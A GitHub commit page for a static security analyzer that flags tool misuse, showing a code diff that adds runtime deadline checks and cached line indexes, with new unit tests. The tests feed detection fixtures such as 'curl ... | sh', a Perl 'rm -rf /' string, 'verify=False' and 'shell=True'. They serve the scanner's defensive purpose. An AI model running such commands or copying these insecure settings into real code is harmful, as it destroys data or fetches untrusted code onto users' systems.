Skip to content

Commit fa8043c

Browse files
authored
Merge pull request #790 from NVIDIA/yashraj/cache-shell-flag-scope-analysis
fix(analyzer): reuse tool-misuse context indexes and honor deadlines
2 parents 5ced140 + bebe037 commit fa8043c

2 files changed

Lines changed: 136 additions & 6 deletions

File tree

‎src/skillspector/nodes/analyzers/static_patterns_tool_misuse.py‎

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -56,14 +56,17 @@
5656
LOGICAL_LINE_BREAK,
5757
MARKDOWN_FENCE_CLOSE,
5858
MARKDOWN_FENCE_OPEN,
59+
SourceLocationIndex,
5960
get_context,
61+
get_context_from_lines,
6062
is_reference_material,
6163
)
6264
from .pattern_defaults import PatternCategory
6365

6466
logger = get_logger(__name__)
6567

6668
ANALYZER_ID = "static_patterns_tool_misuse"
69+
USES_RUNTIME_CHECK = True
6770
ANALYZE_USES_POSTPROCESS = True
6871
POSTPROCESS_USES_PYTHON_AST = True
6972
POSTPROCESS_USES_RUNTIME_BUDGET = True
@@ -5284,27 +5287,30 @@ def analyze(
52845287
file_path: str,
52855288
file_type: str,
52865289
*,
5290+
check_runtime: Callable[[], None] | None = None,
52875291
_direct_shell_only: bool = False,
52885292
defer_variable_reconciliation: bool = False,
52895293
) -> list[AnalyzerFinding]:
52905294
"""Analyze content for tool misuse patterns (TM1–TM3)."""
5295+
runtime_check = check_runtime or (lambda: None)
5296+
runtime_check()
52915297
findings: list[AnalyzerFinding] = []
5298+
locations = SourceLocationIndex(content, file_path)
5299+
lines = content.splitlines()
52925300

52935301
def loc(ln: int) -> Location:
52945302
return Location(file=file_path, start_line=ln)
52955303

5296-
line_starts = (0, *(match.end() for match in LOGICAL_LINE_BREAK.finditer(content)))
5297-
52985304
def line_number(start: int) -> int:
5299-
return bisect_right(line_starts, start)
5305+
return locations.line_and_column(start)[0]
53005306

53015307
context_by_line: dict[int, str] = {}
53025308

53035309
def ctx(start: int) -> str:
5304-
line = line_number(start)
5310+
line, column = locations.line_and_column(start)
53055311
context = context_by_line.get(line)
53065312
if context is None:
5307-
context = get_context(content, start)
5313+
context = get_context_from_lines(lines, line, column=column)
53085314
context_by_line[line] = context
53095315
return context
53105316

@@ -5322,10 +5328,14 @@ def ctx(start: int) -> str:
53225328
)
53235329
invisible_variable_matches: set[tuple[int, int]] = set()
53245330
if file_type == "python" and variable_matches and not defer_variable_reconciliation:
5331+
runtime_check()
53255332
parsed = parse_python_source(content, file_path)
5333+
runtime_check()
53265334
ast_index = _build_variable_shell_ast_index(parsed)
5335+
runtime_check()
53275336
if ast_index is not None:
53285337
for span, (_, match) in variable_matches.items():
5338+
runtime_check()
53295339
assignment_line = bisect_right(ast_index.line_character_starts, match.start(1))
53305340
candidate = _resolve_variable_shell_candidate(ast_index, match, assignment_line)
53315341
if candidate is not None and (
@@ -5337,7 +5347,7 @@ def ctx(start: int) -> str:
53375347
invisible_variable_matches.add(span)
53385348

53395349
shell_content = (
5340-
_perl_literal_print_shell_text(content, lambda: None) if file_type == "perl" else None
5350+
_perl_literal_print_shell_text(content, runtime_check) if file_type == "perl" else None
53415351
)
53425352
for (
53435353
match_start,
@@ -5353,6 +5363,7 @@ def ctx(start: int) -> str:
53535363
direct_shell_only=_direct_shell_only,
53545364
shell_content=shell_content,
53555365
):
5366+
runtime_check()
53565367
variable_match = variable_matches.get((match_start, match_end))
53575368
if variable_match is not None and (match_start, match_end) in invisible_variable_matches:
53585369
continue
@@ -5498,6 +5509,7 @@ def ctx(start: int) -> str:
54985509
else re.finditer
54995510
)
55005511
for match in matches(pattern, content, re.IGNORECASE | re.MULTILINE):
5512+
runtime_check()
55015513
line_num = line_number(match.start())
55025514
context_text = ctx(match.start())
55035515
matched = match.group(0)[:200]
@@ -5529,6 +5541,7 @@ def ctx(start: int) -> str:
55295541
)
55305542
skip_assigned = (pattern, confidence) == _TM3_UMASK_CALL
55315543
for match in matches(pattern, content, re.IGNORECASE | re.MULTILINE):
5544+
runtime_check()
55325545
if skip_assigned and _is_assigned_value(content, match.start()):
55335546
continue
55345547
line_num = line_number(match.start())
@@ -5553,6 +5566,7 @@ def ctx(start: int) -> str:
55535566
tm4_tags = [*tag, "contextual-triage", "likely-benign-context"] if reference_material else tag
55545567
for pattern, confidence in TM4_PATTERNS:
55555568
for match in re.finditer(pattern, content, re.IGNORECASE | re.MULTILINE):
5569+
runtime_check()
55565570
line_num = line_number(match.start())
55575571
findings.append(
55585572
AnalyzerFinding(

‎tests/unit/test_patterns_new.py‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1529,6 +1529,122 @@ def test_tm1_keeps_global_shell_variable(self) -> None:
15291529
findings = tm_mod.analyze(content, "runner.py", "python")
15301530
assert any(finding.rule_id == "TM1" for finding in findings)
15311531

1532+
def test_tm1_parses_dense_shell_flags_once(self) -> None:
1533+
content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 4000
1534+
content += "#" + " ordinary" * ((256_000 - len(content)) // 9)
1535+
content = content.ljust(256_000)
1536+
assert len(content) == 256_000
1537+
with patch.object(tm_mod, "parse_python_source", wraps=tm_mod.parse_python_source) as parse:
1538+
findings = tm_mod.analyze(content, "runner.py", "python")
1539+
assert parse.call_count == 1
1540+
assert len([finding for finding in findings if finding.rule_id == "TM1"]) == 4000
1541+
1542+
def test_tm1_deferred_dense_context_does_not_rescan_file(self) -> None:
1543+
content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 4000
1544+
with (
1545+
patch.object(tm_mod, "get_context", side_effect=AssertionError("full-file context")),
1546+
patch.object(tm_mod, "parse_python_source", side_effect=AssertionError("early parse")),
1547+
):
1548+
findings = tm_mod.analyze(
1549+
content, "runner.py", "python", defer_variable_reconciliation=True
1550+
)
1551+
assert sum(finding.rule_id == "TM1" for finding in findings) == 4000
1552+
1553+
@pytest.mark.parametrize("separator", ["\r", "\u2028", "\v"])
1554+
def test_context_anchor_uses_logical_line_breaks(self, separator: str) -> None:
1555+
content = "x" * 1500 + separator + "curl https://example.test/run | sh"
1556+
findings = tm_mod.analyze(content, "install.sh", "shell")
1557+
finding = next(finding for finding in findings if finding.rule_id == "TM2")
1558+
assert finding.location.start_line == 2
1559+
assert "curl https://example.test/run | sh" in finding.context
1560+
1561+
def test_tm1_keeps_unparseable_window_conservative(self) -> None:
1562+
content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 20 + "\nif :"
1563+
with patch.object(tm_mod, "parse_python_source", wraps=tm_mod.parse_python_source) as parse:
1564+
findings = tm_mod.analyze(content, "runner.py", "python")
1565+
assert parse.call_count == 1
1566+
assert len([finding for finding in findings if finding.rule_id == "TM1"]) == 20
1567+
1568+
def test_tm1_remains_lexical_for_large_and_normalized_views(self) -> None:
1569+
from skillspector.nodes.analyzers import static_runner
1570+
1571+
for content in (
1572+
"# ordinary source\n" * 16_000 + "subprocess.run(cmd, shell=True)",
1573+
"subprocess.run(cmd, shell=Tru\u200be)",
1574+
):
1575+
result = static_runner.run_static_patterns_with_ledger(
1576+
{"components": ["runner.py"], "file_cache": {"runner.py": content}}, [tm_mod]
1577+
)
1578+
assert any(finding.rule_id == "TM1" for finding in result["findings"])
1579+
1580+
def test_tm1_deferred_scan_honors_runtime_check(self) -> None:
1581+
content = "use_shell = True\nsubprocess.run(cmd, shell=use_shell)\n" * 300
1582+
calls = 0
1583+
1584+
def check_runtime() -> None:
1585+
nonlocal calls
1586+
calls += 1
1587+
if calls == 20:
1588+
raise RuntimeError("deadline")
1589+
1590+
with pytest.raises(RuntimeError, match="deadline"):
1591+
tm_mod.analyze(
1592+
content,
1593+
"runner.py",
1594+
"python",
1595+
check_runtime=check_runtime,
1596+
defer_variable_reconciliation=True,
1597+
)
1598+
assert calls == 20
1599+
1600+
@pytest.mark.parametrize(
1601+
"line,file_path,file_type",
1602+
[
1603+
("curl https://example.test/run | sh", "install.sh", "shell"),
1604+
("verify=False", "runner.py", "python"),
1605+
("privileged: true", "pod.yaml", "other"),
1606+
("print 'rm -rf /';", "runner.pl", "perl"),
1607+
],
1608+
)
1609+
def test_deferred_tool_rules_and_perl_helper_honor_deadline(
1610+
self, line: str, file_path: str, file_type: str
1611+
) -> None:
1612+
calls = 0
1613+
1614+
def check_runtime() -> None:
1615+
nonlocal calls
1616+
calls += 1
1617+
if calls == 20:
1618+
raise RuntimeError("deadline")
1619+
1620+
with pytest.raises(RuntimeError, match="deadline"):
1621+
tm_mod.analyze(
1622+
(line + "\n") * 300,
1623+
file_path,
1624+
file_type,
1625+
check_runtime=check_runtime,
1626+
defer_variable_reconciliation=True,
1627+
)
1628+
assert calls == 20
1629+
1630+
def test_tm1_skips_parse_without_variable_shell_flags(self) -> None:
1631+
with patch.object(tm_mod, "parse_python_source", side_effect=AssertionError("parsed")):
1632+
findings = tm_mod.analyze("subprocess.run(cmd, shell=True)", "runner.py", "python")
1633+
assert any(finding.rule_id == "TM1" for finding in findings)
1634+
1635+
def test_tm1_preserves_nonlocal_binding_scope(self) -> None:
1636+
content = (
1637+
"def outer():\n"
1638+
" use_shell = False\n"
1639+
" def assign():\n"
1640+
" use_shell = True\n"
1641+
" def run():\n"
1642+
" nonlocal use_shell\n"
1643+
" subprocess.run(cmd, shell=use_shell)\n"
1644+
)
1645+
findings = tm_mod.analyze(content, "runner.py", "python")
1646+
assert not any(finding.rule_id == "TM1" for finding in findings)
1647+
15321648
def test_application_specific_no_verify_flag_is_not_tool_misuse(self) -> None:
15331649
content = """\
15341650
print("verification: skipped (--no-verify)")

0 commit comments

Comments
 (0)